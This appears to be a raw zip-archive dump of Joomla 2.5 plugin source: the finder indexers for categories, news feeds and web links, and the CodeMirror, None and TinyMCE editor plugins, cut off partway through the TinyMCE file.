$this->layout); if (class_exists($extension . 'HelperRoute') && method_exists($extension . 'HelperRoute', 'getCategoryRoute')) { $class = $extension . 'HelperRoute'; // This is necessary for PHP 5.2 compatibility $item->route = call_user_func(array($class, 'getCategoryRoute'), $item->id); // Use this when PHP 5.3 is minimum supported //$item->route = $class::getCategoryRoute($item->id); } else { $item->route = ContentHelperRoute::getCategoryRoute($item->slug, $item->catid); } $item->path = FinderIndexerHelper::getContentPath($item->route); // Get the menu title if it exists. $title = $this->getItemMenuTitle($item->url); // Adjust the title if necessary. if (!empty($title) && $this->params->get('use_menu_title', true)) { $item->title = $title; } // Translate the state. Categories should only be published if the parent category is published. $item->state = $this->translateState($item->state); // Add the type taxonomy data. $item->addTaxonomy('Type', 'Category'); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. FinderIndexerHelper::getContentExtras($item); // Index the item. FinderIndexer::index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { // Load com_content route helper as it is the fallback for routing in the indexer in this instance. include_once JPATH_SITE . '/components/com_content/helpers/route.php'; return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object or null. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { $db = JFactory::getDbo(); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $db->getQuery(true); $sql->select('a.id, a.title, a.alias, a.description AS summary, a.extension'); $sql->select('a.created_user_id AS created_by, a.modified_time AS modified, a.modified_user_id AS modified_by'); $sql->select('a.metakey, a.metadesc, a.metadata, a.language, a.lft, a.parent_id, a.level'); $sql->select('a.created_time AS start_date, a.published AS state, a.access, a.params'); // Handle the alias CASE WHEN portion of the query $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $sql->charLength('a.alias'); $case_when_item_alias .= ' THEN '; $a_id = $sql->castAsChar('a.id'); $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id.' END as slug'; $sql->select($case_when_item_alias); $sql->from('#__categories AS a'); $sql->where($db->quoteName('a.id') . ' > 1'); return $sql; } /** * Method to get a SQL query to load the published and access states for * a category and section. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getStateQuery() { $sql = $this->db->getQuery(true); $sql->select($this->db->quoteName('a.id')); $sql->select($this->db->quoteName('a.published') . ' AS cat_state'); $sql->select($this->db->quoteName('a.access') . ' AS cat_access'); $sql->from($this->db->quoteName('#__categories') . ' AS a'); return $sql; } } PK]y>\)finder/categories/.htaccessnuW+A Order allow,deny Deny from all PK]y>\`h finder/categories/categories.xmlnuW+A plg_finder_categories Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_FINDER_CATEGORIES_XML_DESCRIPTION script.php categories.php index.html language/en-GB/en-GB.plg_finder_categories.ini language/en-GB/en-GB.plg_finder_categories.sys.ini PK]y>\6finder/categories/index.htmlnuW+APK]y>\6finder/newsfeeds/index.htmlnuW+APK]y>\)finder/newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK]y>\m>pSX(X(finder/newsfeeds/newsfeeds.phpnuW+AloadLanguage(); } /** * Method to update the item link information when the item category is * changed. This is fired when the item category is published or unpublished * from the list view. * * @param string $extension The extension whose category has been updated. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderCategoryChangeState($extension, $pks, $value) { // Make sure we're handling com_newsfeeds categories if ($extension == 'com_newsfeeds') { $this->categoryStateChange($pks, $value); } } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param JTable $table A JTable object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterDelete($context, $table) { if ($context == 'com_newsfeeds.newsfeed') { $id = $table->id; } elseif ($context == 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove the items. return $this->remove($id); } /** * Method to determine if the access level of an item changed. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content has just been created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew) { // We only want to handle news feeds here if ($context == 'com_newsfeeds.newsfeed') { // Check if the access levels are different if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item $this->reindex($row->id); } // Check for access changes in the category if ($context == 'com_categories.category') { // Check if the access levels are different if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } return true; } /** * Method to reindex the link information for an item that has been saved. * This event is fired before the data is actually saved so we are going * to queue the item to be indexed later. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content is just about to be created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle news feeds here if ($context == 'com_newsfeeds.newsfeed') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkItemAccess($row); } } // Check for access levels from the category if ($context == 'com_categories.category') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle news feeds here if ($context == 'com_newsfeeds.newsfeed') { $this->itemStateChange($pks, $value); } // Handle when the plugin is disabled if ($context == 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a FinderIndexerResult object. * * @param FinderIndexerResult $item The item to index as an FinderIndexerResult object. * @param string $format The item format * * @return void * * @since 2.5 * @throws Exception on database error. */ protected function index(FinderIndexerResult $item, $format = 'html') { // Check if the extension is enabled if (JComponentHelper::isEnabled($this->extension) == false) { return; } // Initialize the item parameters. $registry = new JRegistry; $registry->loadString($item->params); $item->params = $registry; $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry; // Build the necessary route and path information. $item->url = $this->getURL($item->id, $this->extension, $this->layout); $item->route = NewsfeedsHelperRoute::getNewsfeedRoute($item->slug, $item->catslug); $item->path = FinderIndexerHelper::getContentPath($item->route); /* * Add the meta-data processing instructions based on the newsfeeds * configuration parameters. */ // Add the meta-author. $item->metaauthor = $item->metadata->get('author'); // Handle the link to the meta-data. $item->addInstruction(FinderIndexer::META_CONTEXT, 'link'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'author'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias'); // Add the type taxonomy data. $item->addTaxonomy('Type', 'News Feed'); // Add the category taxonomy data. $item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. FinderIndexerHelper::getContentExtras($item); // Index the item. FinderIndexer::index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { // Load dependent classes. require_once JPATH_SITE . '/includes/application.php'; require_once JPATH_SITE . '/components/com_newsfeeds/helpers/route.php'; return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object or null. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { $db = JFactory::getDbo(); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $db->getQuery(true); $sql->select('a.id, a.catid, a.name AS title, a.alias, a.link AS link'); $sql->select('a.published AS state, a.ordering, a.created AS start_date, a.params, a.access'); $sql->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date'); $sql->select('a.metakey, a.metadesc, a.metadata, a.language'); $sql->select('a.created_by, a.created_by_alias, a.modified, a.modified_by'); $sql->select('c.title AS category, c.published AS cat_state, c.access AS cat_access'); // Handle the alias CASE WHEN portion of the query $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $sql->charLength('a.alias'); $case_when_item_alias .= ' THEN '; $a_id = $sql->castAsChar('a.id'); $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id.' END as slug'; $sql->select($case_when_item_alias); $case_when_category_alias = ' CASE WHEN '; $case_when_category_alias .= $sql->charLength('c.alias'); $case_when_category_alias .= ' THEN '; $c_id = $sql->castAsChar('c.id'); $case_when_category_alias .= $sql->concatenate(array($c_id, 'c.alias'), ':'); $case_when_category_alias .= ' ELSE '; $case_when_category_alias .= $c_id.' END as catslug'; $sql->select($case_when_category_alias); $sql->from('#__newsfeeds AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); return $sql; } } PK]y>\gfinder/newsfeeds/newsfeeds.xmlnuW+A plg_finder_newsfeeds Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION script.php newsfeeds.php index.html language/en-GB/en-GB.plg_finder_newsfeeds.ini language/en-GB/en-GB.plg_finder_newsfeeds.sys.ini PK]y>\6finder/weblinks/index.htmlnuW+APK]y>\>ۇfinder/weblinks/weblinks.xmlnuW+A plg_finder_weblinks Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_FINDER_WEBLINKS_XML_DESCRIPTION script.php weblinks.php index.html language/en-GB/en-GB.plg_finder_weblinks.ini language/en-GB/en-GB.plg_finder_weblinks.sys.ini PK]y>\("<*<*finder/weblinks/weblinks.phpnuW+AloadLanguage(); } /** * Method to update the item link information when the item category is * changed. This is fired when the item category is published or unpublished * from the list view. * * @param string $extension The extension whose category has been updated. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderCategoryChangeState($extension, $pks, $value) { // Make sure we're handling com_weblinks categories if ($extension == 'com_weblinks') { $this->categoryStateChange($pks, $value); } } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param JTable $table A JTable object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterDelete($context, $table) { if ($context == 'com_weblinks.weblink') { $id = $table->id; } elseif ($context == 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove the items. return $this->remove($id); } /** * Method to determine if the access level of an item changed. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content has just been created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew) { // We only want to handle web links here. We need to handle front end and back end editing. if ($context == 'com_weblinks.weblink' || $context == 'com_weblinks.form' ) { // Check if the access levels are different if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item $this->reindex($row->id); } // Check for access changes in the category if ($context == 'com_categories.category') { // Check if the access levels are different if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } return true; } /** * Method to reindex the link information for an item that has been saved. * This event is fired before the data is actually saved so we are going * to queue the item to be indexed later. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content is just about to be created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle web links here if ($context == 'com_weblinks.weblink' || $context == 'com_weblinks.form') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkItemAccess($row); } } // Check for access levels from the category if ($context == 'com_categories.category') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle web links here if ($context == 'com_weblinks.weblink' || $context == 'com_weblinks.form') { $this->itemStateChange($pks, $value); } // Handle when the plugin is disabled if ($context == 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a FinderIndexerResult object. * * @param FinderIndexerResult $item The item to index as an FinderIndexerResult object. * @param string $format The item format * * @return void * * @since 2.5 * @throws Exception on database error. */ protected function index(FinderIndexerResult $item, $format = 'html') { // Check if the extension is enabled if (JComponentHelper::isEnabled($this->extension) == false) { return; } // Initialize the item parameters. $registry = new JRegistry; $registry->loadString($item->params); $item->params = $registry; $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry; // Build the necessary route and path information. $item->url = $this->getURL($item->id, $this->extension, $this->layout); $item->route = WeblinksHelperRoute::getWeblinkRoute($item->slug, $item->catslug); $item->path = FinderIndexerHelper::getContentPath($item->route); /* * Add the meta-data processing instructions based on the newsfeeds * configuration parameters. */ // Add the meta-author. $item->metaauthor = $item->metadata->get('author'); // Handle the link to the meta-data. $item->addInstruction(FinderIndexer::META_CONTEXT, 'link'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'author'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias'); // Add the type taxonomy data. $item->addTaxonomy('Type', 'Web Link'); // Add the category taxonomy data. $item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. FinderIndexerHelper::getContentExtras($item); // Index the item. FinderIndexer::index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { // Load dependent classes. require_once JPATH_SITE . '/includes/application.php'; require_once JPATH_SITE . '/components/com_weblinks/helpers/route.php'; return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object or null. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { $db = JFactory::getDbo(); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $db->getQuery(true); $sql->select('a.id, a.catid, a.title, a.alias, a.url AS link, a.description AS summary'); $sql->select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.ordering'); $sql->select('a.created_by_alias, a.modified, a.modified_by'); $sql->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date'); $sql->select('a.state AS state, a.ordering, a.access, a.approved, a.created AS start_date, a.params'); $sql->select('c.title AS category, c.published AS cat_state, c.access AS cat_access'); // Handle the alias CASE WHEN portion of the query $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $sql->charLength('a.alias'); $case_when_item_alias .= ' THEN '; $a_id = $sql->castAsChar('a.id'); $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id.' END as slug'; $sql->select($case_when_item_alias); $case_when_category_alias = ' CASE WHEN '; $case_when_category_alias .= $sql->charLength('c.alias'); $case_when_category_alias .= ' THEN '; $c_id = $sql->castAsChar('c.id'); $case_when_category_alias .= $sql->concatenate(array($c_id, 'c.alias'), ':'); $case_when_category_alias .= ' ELSE '; $case_when_category_alias .= $c_id.' END as catslug'; $sql->select($case_when_category_alias); $sql->from('#__weblinks AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); $sql->where('a.approved = 1'); return $sql; } /** * Method to get the query clause for getting items to update by time. * * @param string $time The modified timestamp. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getUpdateQueryByTime($time) { // Build an SQL query based on the modified time. $sql = $this->db->getQuery(true); $sql->where('a.date >= ' . $this->db->quote($time)); return $sql; } } PK]y>\)finder/weblinks/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)editors/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Veditors/codemirror/index.htmlnuW+A PK]y>\+ll!editors/codemirror/codemirror.xmlnuW+A plg_editors_codemirror 1.0 28 March 2011 Marijn Haverbeke N/A PLG_CODEMIRROR_XML_DESCRIPTION codemirror.php index.html en-GB.plg_editors_codemirror.ini en-GB.plg_editors_codemirror.sys.ini
PK]y>\cuCC!editors/codemirror/codemirror.phpnuW+AgetCfg('debug') ? '-uncompressed' : ''; JHtml::_('script', $this->_basePath . 'js/codemirror'.$uncompressed.'.js', false, false, false, false); JHtml::_('stylesheet', $this->_basePath . 'css/codemirror.css'); return ''; } /** * Copy editor content to form field. * * @param string $id The id of the editor field. * * @return string Javascript */ public function onSave($id) { return "document.getElementById('$id').value = Joomla.editors.instances['$id'].getCode();\n"; } /** * Get the editor content. * * @param string $id The id of the editor field. * * @return string Javascript */ public function onGetContent($id) { return "Joomla.editors.instances['$id'].getCode();\n"; } /** * Set the editor content. * * @param string $id The id of the editor field. * @param string $content The content to set. * * @return string Javascript */ public function onSetContent($id, $content) { return "Joomla.editors.instances['$id'].setCode($content);\n"; } /** * Adds the editor specific insert method. * * @return boolean */ public function onGetInsertMethod() { static $done = false; // Do this only once. if (!$done) { $done = true; $doc = JFactory::getDocument(); $js = "\tfunction jInsertEditorText(text, editor) { Joomla.editors.instances[editor].replaceSelection(text);\n }"; $doc->addScriptDeclaration($js); } return true; } /** * Display the editor area. * * @param string $name The control name. * @param string $html The contents of the text area. * @param string $width The width of the text area (px or %). * @param string $height The height of the text area (px or %). * @param int $col The number of columns for the textarea. * @param int $row The number of rows for the textarea. * @param boolean $buttons True and the editor buttons will be displayed. * @param string $id An optional ID for the textarea (note: since 1.6). If not supplied the name is used. * @param string $asset * @param object $author * @param array $params Associative array of editor parameters. * * @return string HTML */ public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array()) { if (empty($id)) { $id = $name; } // Only add "px" to width and height if they are not given as a percentage if (is_numeric($width)) { $width .= 'px'; } if (is_numeric($height)) { $height .= 'px'; } // Must pass the field id to the buttons in this editor. $buttons = $this->_displayButtons($id, $buttons, $asset, $author); $compressed = JFactory::getApplication()->getCfg('debug') ? '-uncompressed' : ''; // Default syntax $parserFile = 'parsexml.js'; $styleSheet = array('xmlcolors.css'); // Look if we need special syntax coloring. $syntax = JFactory::getApplication()->getUserState('editor.source.syntax'); if ($syntax) { switch($syntax) { case 'css': $parserFile = 'parsecss.js'; $styleSheet = array('csscolors.css'); break; case 'js': $parserFile = array('tokenizejavascript.js', 'parsejavascript.js'); $styleSheet = array('jscolors.css'); break; case 'html': $parserFile = array('parsexml.js', 'parsecss.js', 'tokenizejavascript.js', 'parsejavascript.js', 'parsehtmlmixed.js'); $styleSheet = array('xmlcolors.css', 'jscolors.css', 'csscolors.css'); break; case 'php': $parserFile = array('parsexml.js', 'parsecss.js', 'tokenizejavascript.js', 'parsejavascript.js', 'tokenizephp.js', 'parsephp.js', 'parsephphtmlmixed.js'); $styleSheet = array('xmlcolors.css', 'jscolors.css', 'csscolors.css', 'phpcolors.css'); break; default: ; break; } //switch } foreach ($styleSheet as &$style) { $style = JURI::root(true).'/'.$this->_basePath.'css/'.$style; } $options = new stdClass; $options->basefiles = array('basefiles'.$compressed.'.js'); $options->path = JURI::root(true).'/'.$this->_basePath.'js/'; $options->parserfile = $parserFile; $options->stylesheet = $styleSheet; $options->height = $height; $options->width = $width; $options->continuousScanning = 500; if ($this->params->get('linenumbers', 0)) { $options->lineNumbers = true; $options->textWrapping = false; } if ($this->params->get('tabmode', '') == 'shift') { $options->tabMode = 'shift'; } $html = array(); $html[] = ""; $html[] = $buttons; $html[] = ''; return implode("\n", $html); } /** * Displays the editor buttons. * * @param string $name * @param mixed $buttons [array with button objects | boolean true to display buttons] * * @return string HTML */ protected function _displayButtons($name, $buttons, $asset, $author) { // Load modal popup behavior JHtml::_('behavior.modal', 'a.modal-button'); $args['name'] = $name; $args['event'] = 'onGetInsertMethod'; $html = array(); $results[] = $this->update($args); foreach ($results as $result) { if (is_string($result) && trim($result)) { $html[] = $result; } } if (is_array($buttons) || (is_bool($buttons) && $buttons)) { $results = $this->_subject->getButtons($name, $buttons, $asset, $author); // This will allow plugins to attach buttons or change the behavior on the fly using AJAX $html[] = '
'; foreach ($results as $button) { // Results should be an object if ($button->get('name')) { $modal = ($button->get('modal')) ? 'class="modal-button"' : null; $href = ($button->get('link')) ? 'href="'.JURI::base().$button->get('link').'"' : null; $onclick = ($button->get('onclick')) ? 'onclick="'.$button->get('onclick').'"' : null; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $html[] = ''; } } $html[] = '
'; } return implode("\n", $html); } } PK]y>\)editors/codemirror/.htaccessnuW+A Order allow,deny Deny from all PK]y>\editors/none/none.xmlnuW+A plg_editors_none 2.5.0 August 2004 N/A GNU General Public License version 2 or later; see LICENSE.txt PLG_NONE_XML_DESCRIPTION none.php index.html en-GB.plg_editors_none.ini en-GB.plg_editors_none.sys.ini PK]y>\ommeditors/none/none.phpnuW+A function insertAtCursor(myField, myValue) { if (document.selection) { // IE support myField.focus(); sel = document.selection.createRange(); sel.text = myValue; } else if (myField.selectionStart || myField.selectionStart == '0') { // MOZILLA/NETSCAPE support var startPos = myField.selectionStart; var endPos = myField.selectionEnd; myField.value = myField.value.substring(0, startPos) + myValue + myField.value.substring(endPos, myField.value.length); } else { myField.value += myValue; } } "; return $txt; } /** * Copy editor content to form field. * * Not applicable in this editor. * * @return void */ function onSave() { return; } /** * Get the editor content. * * @param string $id The id of the editor field. * * @return string */ function onGetContent($id) { return "document.getElementById('$id').value;\n"; } /** * Set the editor content. * * @param string $id The id of the editor field. * @param string $html The content to set. * * @return string */ function onSetContent($id, $html) { return "document.getElementById('$id').value = $html;\n"; } /** * @param string $id * * @return string */ function onGetInsertMethod($id) { static $done = false; // Do this only once. if (!$done) { $doc = JFactory::getDocument(); $js = "\tfunction jInsertEditorText(text, editor) { insertAtCursor(document.getElementById(editor), text); }"; $doc->addScriptDeclaration($js); } return true; } /** * Display the editor area. * * @param string $name The control name. * @param string $html The contents of the text area. * @param string $width The width of the text area (px or %). * @param string $height The height of the text area (px or %). * @param int $col The number of columns for the textarea. * @param int $row The number of rows for the textarea. * @param boolean $buttons True and the editor buttons will be displayed. * @param string $id An optional ID for the textarea (note: since 1.6). If not supplied the name is used. * @param string $asset * @param object $author * @param array $params Associative array of editor parameters. * * @return string */ function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array()) { if (empty($id)) { $id = $name; } // Only add "px" to width and height if they are not given as a percentage if (is_numeric($width)) { $width .= 'px'; } if (is_numeric($height)) { $height .= 'px'; } $buttons = $this->_displayButtons($id, $buttons, $asset, $author); $editor = "" . $buttons; return $editor; } function _displayButtons($name, $buttons, $asset, $author) { // Load modal popup behavior JHtml::_('behavior.modal', 'a.modal-button'); $args['name'] = $name; $args['event'] = 'onGetInsertMethod'; $return = ''; $results[] = $this->update($args); foreach ($results as $result) { if (is_string($result) && trim($result)) { $return .= $result; } } if (is_array($buttons) || (is_bool($buttons) && $buttons)) { $results = $this->_subject->getButtons($name, $buttons, $asset, $author); // This will allow plugins to attach buttons or change the behavior on the fly using AJAX $return .= "\n
\n"; foreach ($results as $button) { // Results should be an object if ($button->get('name')) { $modal = ($button->get('modal')) ? 'class="modal-button"' : null; $href = ($button->get('link')) ? 'href="'.JURI::base().$button->get('link').'"' : null; $onclick = ($button->get('onclick')) ? 'onclick="'.$button->get('onclick').'"' : null; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $return .= "\n"; } } $return .= "
\n"; } return $return; } } PK]y>\)editors/none/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Veditors/none/index.htmlnuW+A PK]y>\)editors/tinymce/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Y44editors/tinymce/tinymce.xmlnuW+A plg_editors_tinymce 3.5.11 2005-2014 Moxiecode Systems AB N/A tinymce.moxiecode.com/ Moxiecode Systems AB LGPL PLG_TINY_XML_DESCRIPTION tinymce.php index.html en-GB.plg_editors_tinymce.ini en-GB.plg_editors_tinymce.sys.ini
PK]y>\VdNNeditors/tinymce/tinymce.phpnuW+AloadLanguage(); } /** * Initialises the Editor. * * @return string JavaScript Initialization string * * @since 1.5 */ public function onInit() { $app = JFactory::getApplication(); $language = JFactory::getLanguage(); $mode = (int) $this->params->get('mode', 1); $theme = array('simple', 'advanced', 'advanced'); $skin = $this->params->get('skin', '0'); switch ($skin) { case '3': $skin = 'skin : "o2k7", skin_variant : "black",'; break; case '2': $skin = 'skin : "o2k7", skin_variant : "silver",'; break; case '1': $skin = 'skin : "o2k7",'; break; case '0': default: $skin = 'skin : "default",'; } $entity_encoding = $this->params->def('entity_encoding', 'raw'); $langMode = $this->params->def('lang_mode', 0); $langPrefix = $this->params->def('lang_code', 'en'); if ($langMode) { $langPrefix = substr($language->getTag(), 0, strpos($language->getTag(), '-')); } $text_direction = 'ltr'; if ($language->isRTL()) { $text_direction = 'rtl'; } $use_content_css = $this->params->def('content_css', 1); $content_css_custom = $this->params->def('content_css_custom', ''); /* * Lets get the default template for the site application */ $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('template'); $query->from('#__template_styles'); $query->where('client_id=0 AND home=1'); $db->setQuery( $query ); $template = $db->loadResult(); $content_css = ''; $templates_path = JPATH_SITE . '/templates'; // loading of css file for 'styles' dropdown if ( $content_css_custom ) { // If URL, just pass it to $content_css if (strpos( $content_css_custom, 'http' ) !==false) { $content_css = 'content_css : "'. $content_css_custom .'",'; } // If it is not a URL, assume it is a file name in the current template folder else { $content_css = 'content_css : "'. JURI::root() .'templates/'. $template . '/css/'. $content_css_custom .'",'; // Issue warning notice if the file is not found (but pass name to $content_css anyway to avoid TinyMCE error if (!file_exists($templates_path . '/' . $template . '/css/' . $content_css_custom)) { $msg = sprintf (JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'), $content_css_custom); JError::raiseNotice('SOME_ERROR_CODE', $msg); } } } else { // process when use_content_css is Yes and no custom file given if ($use_content_css) { // first check templates folder for default template // if no editor.css file in templates folder, check system template folder if (!file_exists($templates_path . '/' . $template . '/css/editor.css')) { $template = 'system'; // if no editor.css file in system folder, show alert if (!file_exists($templates_path . '/system/css/editor.css')) { JError::raiseNotice('SOME_ERROR_CODE', JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT')); } else { $content_css = 'content_css : "' . JURI::root() .'templates/system/css/editor.css",'; } } else { $content_css = 'content_css : "' . JURI::root() .'templates/'. $template . '/css/editor.css",'; } } } $relative_urls = $this->params->def('relative_urls', '1'); if ($relative_urls) { // relative $relative_urls = "true"; } else { // absolute $relative_urls = "false"; } $newlines = $this->params->def('newlines', 0); if ($newlines) { // br $forcenewline = "force_br_newlines : true, force_p_newlines : false, forced_root_block : '',"; } else { // p $forcenewline = "force_br_newlines : false, force_p_newlines : true, forced_root_block : 'p',"; } $invalid_elements = $this->params->def('invalid_elements', 'script,applet,iframe'); $extended_elements = $this->params->def('extended_elements', ''); // theme_advanced_* settings $toolbar = $this->params->def('toolbar', 'top'); $toolbar_align = $this->params->def('toolbar_align', 'left'); $html_height = $this->params->def('html_height', '550'); $html_width = $this->params->def('html_width', '750'); $resizing = $this->params->def('resizing', 'true'); $resize_horizontal = $this->params->def('resize_horizontal', 'false'); $element_path = ''; if ($this->params->get('element_path', 1)) { $element_path = 'theme_advanced_statusbar_location : "bottom", theme_advanced_path : true'; } else { $element_path = 'theme_advanced_statusbar_location : "none", theme_advanced_path : false'; } $buttons1_add_before = $buttons1_add = array(); $buttons2_add_before = $buttons2_add = array(); $buttons3_add_before = $buttons3_add = array(); $buttons4 = array(); $plugins = array(); if ($extended_elements != "") { $elements = explode(',', $extended_elements); } // Initial values for buttons array_push($buttons4, 'cut', 'copy', 'paste'); // array_push($buttons4,'|'); // Plugins // fonts $fonts = $this->params->def( 'fonts', 1 ); if ($fonts) { $buttons1_add[] = 'fontselect,fontsizeselect'; } // paste $paste = $this->params->def('paste', 1); if ($paste) { $plugins[] = 'paste'; $buttons4[] = 'pastetext'; $buttons4[] = 'pasteword'; $buttons4[] = 'selectall,|'; } // search & replace $searchreplace = $this->params->def('searchreplace', 1); if ($searchreplace) { $plugins[] = 'searchreplace'; $buttons2_add_before[] = 'search,replace,|'; } // insert date and/or time plugin $insertdate = $this->params->def('insertdate', 1); $format_date = $this->params->def('format_date', '%Y-%m-%d'); $inserttime = $this->params->def('inserttime', 1); $format_time = $this->params->def('format_time', '%H:%M:%S'); if ($insertdate or $inserttime) { $plugins[] = 'insertdatetime'; if ($insertdate) { $buttons2_add[] = 'insertdate'; } if ($inserttime) { $buttons2_add[] = 'inserttime'; } } // colors $colors = $this->params->def('colors', 1); if ($colors) { $buttons2_add[] = 'forecolor,backcolor'; } // table $table = $this->params->def('table', 1); if ($table) { $plugins[] = 'table'; $buttons3_add_before[] = 'tablecontrols'; } // emotions $smilies = 